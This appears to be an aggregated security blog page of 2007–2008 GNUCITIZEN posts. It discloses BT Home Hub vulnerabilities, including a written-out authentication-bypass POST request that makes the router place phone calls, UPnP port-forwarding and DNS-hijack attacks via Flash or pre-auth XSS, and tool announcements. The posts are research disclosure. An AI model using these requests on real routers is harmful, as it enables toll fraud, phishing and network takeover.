The challenge is supposed to run from 2nd February until 29th February, though it is something that is yet to be clarified because we know that there is a lot to be found.

The reason why we do this is because we want you to help the community to map the current state of embedded devices vulnerabilities. GNUCITIZEN members have been actively involved with finding vulnerabilities in routers in the past. We believe that embedded devices hacking is a huge topic that is yet to be explored in depth. Your submissions will be included in numerous presentations and research materials and will be credited appropriately.

The rules are very flexible, every kind of exploit is allowed. From buffer overflows to CSRF issues that plague many routers.
	


	
	
		
	
	
	
	
	Call Jacking: Phreaking the BT Home Hub
	
	Posted: January 20th, 2008, 8:46pm CST by Adrian Pastor
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		OK, this is a bit of a funny attack - although it could also be used for criminal purposes! After playing with the BT Home Hub for a while (again!), pdp and I discovered that attackers can steal/hijack VoIP calls. Let me explain …



In summary, if the victim visits our evil proof-of-concept webpage, his/her browser sends a HTTP request to the BT Home Hub’s web interface. After this, the Home Hub starts a VoIP/telephone connection to the recipient’s phone number specified in the exploit page. This is what the attack looks like: the victim’s VoIP telephone starts ringing and shows an external call message on the LCD screen along with the recipient’s phone number. However, what’s interesting is that from the point of view of the victim, it looks like he/she is receiving a phone call from the number shown on the screen, but in fact he/she is calling that number! Sweet, simple and effective, just the way we like it at GNUCITIZEN!

POST http://api.home/cgi/b/_voip_/stats//?ce=1&be=0&l0=-1&l1=-1&name=

0=30&1=00390669893461

Now, this attack will work even if the default admin password has been changed on the BT Home Hub. Reason for this is that the exploit relies on an authentication bypass vulnerability that we have reported a while ago and hasn’t still been fixed by BT! In our original report, we mentioned that the HTTP authentication mechanism can by bypassed by using double slashes in the target URL. Actually, the authentication can also be bypassed with many other characters, but I’ll leave this to the reader to discover.

The following are some attack scenarios in which this vulnerability could be used for:


	annoyance or prank purposes
	advanced phishing attacks in which the victims gets a phone call from Trusted Bank after clicking on a link included in the phishing email. The fact that the attacker calls the victim’s phone number would help him/her gain the victim’s trust. HINT: Phishers usually don’t know your phone number!
	toll fraud attacks in which the victim calls one of those very expensive number that allow the bad guys to make good bucks by simply starting the conversation


I don’t want to repeat myself, but please remember that from the victim point of view it looks like he is receiving a phone call but in fact he is making/paying for the phone call!



And finally the boring (but needed) testing details: tested on BT Home Hub firmware 6.2.6.B. Only customers using the BT Broadband Talk service are affected by this attack. Other firmware versions are likely to be affected as well, but we have not tested them.

launch: Call Jacking POC exploit
	


	
	
		
	
	
	
	
	Hacking The Interwebs
	
	Posted: January 12th, 2008, 6:57am CST by pdp
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		With great power comes great responsibility, but those with great power usually aren’t that responsible. Nevertheless, we try to be responsible as much as we can. In the following post, ap (Adrian Pastor; pagvac) and I (pdp) are going to expose some secrets, which may make you question our values at first, will definitely make you feel worried about Why is all this possible?, and may even make you hate us in your guts for what we have done. It is important to understand the magnitude of the problem we are planning to talk about, and that we cannot go to any vendor to ask for a solution, because it is not a bug what we have to deal with, but rather a combination of design problems. It is an issue, which needs to be resolved right now and the only way to do that is to go public with whatever we’ve got on our table.



During the last week we’ve tried to prepare you for this very moment by exposing bits and pieces on how UPnP works and why it is so important to keep it in mind when testing and securing networks. We’ve also talked about how the Universal Plug and Play can be combined with simple XSS attacks in order to create a powerful mechanism for remotely reconfiguring vulnerable routers without any means of authentication or authorization with the targeted device. Today, we are going to show you that UPnP can be exploited across the Web without the need of XSS. This is the next logical, evolutionary step of UPnP exploitation which by far has the highest level of severity.

We’ve talked earlier that the UPnP stack consists of several technologies: SSDP (Simple Service Discovery Protocol), GENA (Generic Event Notification Architecture), SOAP (Simple Object Access Protocol) and XML. The UPnP control process starts with the discovery stage. Here, a multicast SSDP packet is submitted to 239.255.255.250:1900. Any device that listens on this multicast port will then respond with information about their service description if they are happy with the body of the discovery packet. The UPnP control actuator will then read the description and look for available methods. Each method is associated with a control point (URL and a header) and method parameters which may or may not be required. Once the method information is obtained, the UPnP actuator will pick the method that suits best the given task that needs to be performed and submit a SOAP message to the control point in order to actualize it. This is how UPnP works in general!

When attacking UPnP from within the network where the UPnP enabled device is located, we pretty much proceed with the method described above. If we want to attack a UPnP enabled device across the Web, then we have a few problems that needs to be solved. First of all, from the Web, we cannot send and process SSDP. SSDP is based on UDP and it deals with multicast packets which is something browsers and Web technologies in general will probably never learn how to work with. The only stage that we can safely perform from the Web is the actual SOAP request, which is the very last stage of the control mechanism described in the previous paragraph.

Adrian did an amazing job explaining how someone can reconfigure your BT Home Hub router via a pre-auth XSS. In his post, Adrian describes a mechanism where the victim visits a malicious page, which makes use of a XSS vulnerability that exists within the BT Home Hub router, in order to add a portforwarding rule within the targeted device firewall. Once the XSSed SOAP request is actualized, the attacker will be able to get access to an internal service over the portforward. Given the fact that the attacker can change the primary DNS server of the target router, as well, the problem seams to be more then scary and very, very concerning. At this stage you are probably thinking that closing the XSS hole on the router pre-auth pages will definitely solve the problem for good, but I am afraid to inform you that you will be wrong.

To the point: SOAP Messages are nothing but POST requests with contentType equal to application/xml, a SOAPAction header and a request body that complies with the SOAP message format. These three request values cannot be changed with JavaScript unless we deal with the XMLHttpRequest object. Though, in order to successfully use this object, we need to comply with the Same Origin Policies (SOP) and that will mean that we need an XSS vulnerability, as Adrian proposed in his article. However, it is less known that these values can be easily set with Flash. The following code demonstrates the attack vector:

[www.gnucitizen.org]

The Test.mxml Flash Application performs several operations.


At first, the MXML script creates an URLRequest object to the targeted UPnP control point URL. In our case, this is http://192.168.1.254/upnp/control/igd/wanpppcInternet, which is the PPP control point of BT Home Hub. Keep in mind that other devices can be exploited as well by changing that URL to match their setup.
Then we define the request method which has to be POST.
The next expression defines the request data. This is the actual SOAP Message which will add the portforwarding rule.
We need to set the contentType to application/xml.
Then we push the SOAPAction header into the Array of headers.
And finally we open the URLRequest with navigateToURL. The respond will render within _self.


Shockwave Flash 9.0 r115 (the latest at the time of writing but not automatically deployed) seams to incorrectly supply the request headers. This may make the attack to fail if you use Firefox, Opera or Safari and the attacked router or UPnP device is picky about CR and CRLF line endings. Earlier flash versions does not have this problem/bug. Keep in mind that most devices will accept the request although the line endings are mixed up a bit.

When the victim visits the malicious SWF file, the above 6 steps will silently execute in the background. At that moment the attacker will have control over the service the portforwarding rule was assigned for for. Keep in mind that no XSS is required, it is a matter of visiting the wrong resource at the wrong time. Also, keep in mind that 99% of home routers are vulnerable to this attack as all of them support UPnP to one degree or another.

I repeat myself far too much, but I guess I have another opportunity to mention that adding a portforwarding is only one of the many things someone can do to your router. The most malicious of all malicious things is to change the primary DNS server. That will effectively turn the router and the network it controls into a zombie which the attacker can take advantage of whenever they feel like it. It is also possible to reset the admin credentials and create the sort of onion routing network all the bad guys want. We hope that by exposing this information, we will drastically improve the situation for the future. I think that this is a lot better than keeping it for ourselves or risking it all by given the criminals the opportunity to have in possession a secret which no one else is aware of.

GNUCITIZEN is a Cutting Edge, Ethical Hacker Outfit, Information Think Tank, which primarily deals with all aspects of the art of hacking. Our work has been featured in established magazines and information portals, such as Wired, Eweek, The Register, PC Week, IDG, BBC and many others. The members of the GNUCITIZEN group are well known and well established experts in the Information Security, Black Public Relations (PR) Industries and Hacker Circles with widely recognized experience in the government and corporate sectors and the open source community.

GNUCITIZEN is an ethical, white-hat organization that doesn’t hide anything. We strongly believe that knowledge belongs to everyone and we make everything to ensure that our readers have access to the latest cutting-edge research and get alerted of the newest security threats when they come. Our experience shows that the best way of protection is mass information. And we mean that literally!!! It is in the public’s best interest to make our findings accessible to vast majority of people, simply because it is proven that the more people know about a certain problem, the better.

download: Harmless/Useless Proof of Concept - use for demonstration and eduction purposes only

The only way to protect yourself is to turn off UPnP. Yes, that will make your life harder and probably your skype or msn wont work as flawlessly as before but it is a trade-off you have to learn to live with.

	


	
	
		
	
	
	
	
	BT Home Flub: Pwnin the BT Home Hub (5) - exploiting IGDs remotely via UPnP
	
	Posted: January 10th, 2008, 5:46am CST by Adrian Pastor
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		It’s known that UPnP is inherently insecure for a very simple reason: administrative tasks can be performed on a Internet Gateway Device (IGD) without needing to know the admin password whatsoever! This on its own is quite scary and I personally feel that although there is some research in the public domain, there is much more attention that needs to be paid to UPnP.



UPnP allows you to perform administrative functions. Some functions are very standardized and supported by most devices. Examples include obtaining network settings, and enabling port forwarding rules. Other functions are make/model specific. Some very scary functions such as obtaining administrative username and password pairs have been reported in the past. As a reminder, this works without submitting any administrative password whatsoever since UPnP is a authenticationless protocol. On top of this, most IGDs support UPnP by default.

After having read several UPnP security research materials I realized that all the described attacks assume that the attacker (be it human or malware) comes from inside the network. This post describes how to exploit IGDs remotely via UPnP even when no services are publicly available (WAN interface).

Preauth XSS + SOAP payload = remote UPnP exploitation

If you sniff yourself while running software that uses UPnP in the background to help you configure your router, you’ll see that UPnP is nothing more than SOAP. Our AJAX knowledge tells us about a feature that allows us to craft arbitrary XML requests: the XMLHttpRequest object. Trouble is, such object can only be used within the context of the site that the requests are submitted to. So if we host the malicious scripting code on a third-party site, and a victim user located in the same LAN as the target IGD visits such page, the request wouldn’t go through due to XMLHttpRequest same-origin policy restriction. Or put in a different way: you aren’t allowed to make XMLHttpRequests to any server except the server where your web page came from.

However, if you find a pre-auth XSS vulnerability on the target device you can bypass such restriction. For instance, many devices such as the BT Home Hub and Speedtouch routers offer certain pages before authenticating. Some of these pages are cgi scripts which are vulnerable to XSS. Although offering certain “useless” functionalities before logging into the router might not seem like a big deal, it can actually lead to UPnP being exploited remotely, even if the web admin console is not visible from the Internet!

The following is a non-malicious proof-of-concept exploit which sets up a port-forwarding rule from port 1337 on the WAN interface to port 445 on the internal IP address 192.168.1.64. Such IP address is the first usable IP address reserved for clients connected to Speedtouch and BT Home Hub routers. The exploit has been tested on BT Home Hub - Firmware version 6.2.6.B. Just to make things clear, UPnP is enabled by default on the BT Home Hub, just like most IGDs. If your Internet gateway is a BT Home Hub, clicking on the following link should add a new forward rule called EVILFORWARDRULE: ATTACK.

In order to check if the port-forwarding rule was added successfully you can use UPnP Port Forwarding Utility and simply click on “Update list now” after the device has been discovered (device name should show on the top-left corner a few seconds later after launching the tool). You could of course use the technique and code explained in this post on any Internet gateway that supports UPnP and is a vulnerable to a preauth XSS vulnerability. If you manage to successfully test this attack on the BT Home Hub or any other device please let us know!

[www.gnucitizen.org]

Zombie routers and the unvalidated NewInternalClient bug

A bit of more UPnP hacking lead me to realize that the BT Home Hub is vulnerable to the (in)famous unvalidated NewInternalClient bug. This bug allows you to choose external IP addresses instead of a LAN IP addresses as intended when setting up port-forwarding rules via UPnP. In this case, I reused the previous code and  changed the internal IP address (192.168.1.64) in the NewInternalClient tag with the IP address of a random Internet web server and the value of the NewInternalPort tag to 80. This effectively allows an attacker to use the vulnerable BT Home Hub router as a proxy - aka onion router. In other words, when probing the router’s NATed IP address on port 1337, the attacker is effectively probing the IP address and port number specified by the port-forwarding rule - except the routers IP address would be shown in logs of the target web server, as opposed to the attacker’s real IP address. I thought this is a nice real example of how a vulnerable router can be used as a zombie by simply having a user visit a page with malicious scripting (XSS + UPnP SOAP request). Imagine running your favourite vulnerability scanner against a target site, while using the victim user’s router as a proxy - sweet!

There are other UPnP functionalities besides port forwarding rules that look potentially interesting from a hacking point of view. For instance, SetDNSServer allows you to guess what, set the gateway’s DNS server. Imagine someone changing your router’s DNS server setting by simply visiting a webpage. After that you visit yourfavoritebank.com and guess what, you’re actually visiting a malicious server that is harvesting all your banking login details! I’ll leave the exercise of writing a remote UPnP exploit that changes the DNS server setting on the BT Home Hub (or any other vulnerable router) to the reader.

GNUCITIZEN is a Cutting Edge, Ethical Hacker Outfit, Information Think Tank, which primarily deals with all aspects of the art of hacking. Our work has been featured in established magazines and information portals, such as Wired, Eweek, The Register, PC Week, IDG, BBC and many others. The members of the GNUCITIZEN group are well known and well established experts in the Information Security, Black Public Relations (PR) Industries and Hacker Circles with widely recognized experience in the government and corporate sectors and the open source community.

GNUCITIZEN is an ethical, white-hat organization that doesn’t hide anything. We strongly believe that knowledge belongs to everyone and we make everything to ensure that our readers have access to the latest cutting-edge research and get alerted of the newest security threats when they come. Our experience shows that the best way of protection is mass information. And we mean that literally!!! It is in the public’s best interest to make our findings accessible to vast majority of people, simply because it is proven that the more people know about a certain problem, the better.

download: payload; launch: BT Home Hub PoC exploit
	


	
	
		
	
	
	
	
	Google Hacking for Penetration Testers Second Edition
	
	Posted: January  3rd, 2008, 8:26am CST by pdp
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		I was invited to co-author Google Hacking for Penetration Testers Second Edition with the some of the greatest minds of enumeration gathering attacks and Google Hacking.



…from the book excerpt:

Google is one of the 5 most popular sites on the internet with more than 380 million unique users per month (Nielsen/NetRatings 8/05). But, Googles search capabilities are so powerful, they sometimes discover content that no one ever intended to be publicly available on the Web including: social security numbers, credit card numbers, trade secrets, and federally classified documents. Google Hacking for Penetration Testers, Volume 2 shows the art of torqueing Google used by security professionals and system administrators to find this sensitive information and self-police their own organizations.

download: Table of Contents, Sample Chapter; buy: Amazon
	


	
	
		
	
	
	
	
	Google.py
	
	Posted: December 22nd, 2007, 2:29am CST by pdp
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		Back in the days when Google Hacking was the hot topic of the day, I wrote a simple python script for scraping results from the google’s search pages. Unlike other google search scripts, this one, does not rely on any APIs. So, you may find it useful. Moreover, we are actually going to reference to this script in the upcoming days as we have some very interesting stuff to talk about here at GNUCITIZEN.



Use the script responsively and keep in mind Google’s Terms of Service before doing anything drastic. The command line interface is configured to run through up to 5 pages. You can change that at source level or if you embed it into your own scripts. Let me know if you have any problems. The script is self documented and quite simple, so you should not have any problems gating used to it.

[www.gnucitizen.org]

download: google.py
	


	
	
		
	
	
	
	
	General Purpose Fuzzer.py
	
	Posted: December 16th, 2007, 6:15pm CST by pdp
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		Fuzzing is a quite important thing to security researchers, mainly because it helps going through the boring stuff quickly. Generally speaking, fuzzers are tools for automation. Unfortunately most moderns fuzzers are a lot more then automation tools. They are big, bloated and most of all, highly unusable. And if you want to do some fuzzing, first of all you have to learn how to use them, and this is not a trivial thing.



Due to my frustration with modern fuzzers and the simple fact that I need them in my day-to-day work, I decided to write my own in Python, because Python rocks. The fuzzer, which I developed this afternoon, is contained within a single python module. This makes it very portable and easy to use. On the other hand, the fuzzing subroutines do not use anything fancy but the standard python functionalities (generators and closures), which improves the learning curve quite drastically. Last but not least it is really fun to use from the command line. If you don’t trust me, just give it a try. The following is the actual source code of the tool:

[www.gnucitizen.org]

When prototyping the fuzzer I realized that I need a very good way to separate generated data from logic. Therefore, I came up with the concepts of generators (the stuff I’ve used in my previous work on fuzzers) and actuators. Generators simply yield data while actuators consume it and do something useful with it. The following is an example of a dummy generator and actuator, also available within the fuzzer source code. Keep in mind that you can input external modules within the fuzzer by using the -i or --import command line options and as such modularize your work a bit more:

#
# GENERATORS
#
def generator_dummy(globals):
    """ the dummy generator outputs all numbers between 0 and 99 """

    def run():
        for i in range(0, 100):
            yield i

    return run

#
# ACTUATORS
#
def actuator_dummy(globals):
    """ the dummy actuator returns all supplied values """

    def run(value):
        return value

    return run

As you can see, very simple stuff really. However, the simpler the better! Unfortunately, the tool is only self documented (check the usage). There is no other external documentation how to use it. If you are willing to help with putting some basic tutorials together, you are more then welcome. Please, let me know. Of course, credits will be given where are due.

download: fuzzer.py

So, there you go. General Purpose fuzzing can be actually a simple task.






	

	funkatron.com





	
	
		
	
	
	
	
	Interview on ArsTechnica about Spaz
	
	Posted: October 11th, 2007, 7:50pm CDT by funkatron
	
	
	
	
		Tags: 
		My Projects  
		
		[edit]
		
	
	
	
		

An interview I did with Jacqui Cheng of ArsTechnica about Spaz has been posted tonight.  We get kinda in-depth on the origins of Spaz and the security issues with rich internet applications.


“Twitter with Spaz.AIR: Interview with developer Ed Finkler”
Digg the interview

My Security Planet » Tags » Projects

Feeds

23 items tagged "Projects"

Posted: March 16th, 2011, 12:07pm CDT by funkatron

Tags: My Projects [edit]

Posted: April 10th, 2010, 11:42am CDT by funkatron

Tags: My Projects [edit]

Posted: December 29th, 2009, 3:01pm CST by funkatron

Tags: My Projects [edit]

Posted: July 31st, 2009, 12:40pm CDT by funkatron

Tags: My Projects [edit]

Posted: July 9th, 2009, 3:31pm CDT by funkatron

Tags: My Projects [edit]

Posted: June 21st, 2008, 4:40am CDT by pdp

Tags: Projects [edit]

Posted: June 21st, 2008, 4:21am CDT by pdp

Tags: Projects [edit]

Posted: May 20th, 2008, 4:03am CDT by pdp

Tags: Projects [edit]

Posted: April 24th, 2008, 9:23am CDT by pdp

Tags: Projects [edit]

Posted: April 22nd, 2008, 10:11am CDT by pdp

Tags: Projects [edit]

Posted: February 18th, 2008, 7:42pm CST by funkatron

Tags: My Projects [edit]

Posted: February 18th, 2008, 7:42pm CST by funkatron

Tags: My Projects [edit]

Posted: February 17th, 2008, 5:07am CST by pdp

Tags: Projects [edit]

Posted: February 13th, 2008, 2:31am CST by pdp

Tags: Projects [edit]

Posted: February 11th, 2008, 4:03pm CST by .mario

Tags: Projects [edit]

Posted: February 3rd, 2008, 10:15am CST by pdp

Tags: Projects [edit]

Posted: January 20th, 2008, 8:46pm CST by Adrian Pastor

Tags: Projects [edit]

Posted: January 12th, 2008, 6:57am CST by pdp

Tags: Projects [edit]

Posted: January 10th, 2008, 5:46am CST by Adrian Pastor

Tags: Projects [edit]

Posted: January 3rd, 2008, 8:26am CST by pdp

Tags: Projects [edit]

Posted: December 22nd, 2007, 2:29am CST by pdp

Tags: Projects [edit]

Posted: December 16th, 2007, 6:15pm CST by pdp

Tags: Projects [edit]

Posted: October 11th, 2007, 7:50pm CDT by funkatron

Tags: My Projects [edit]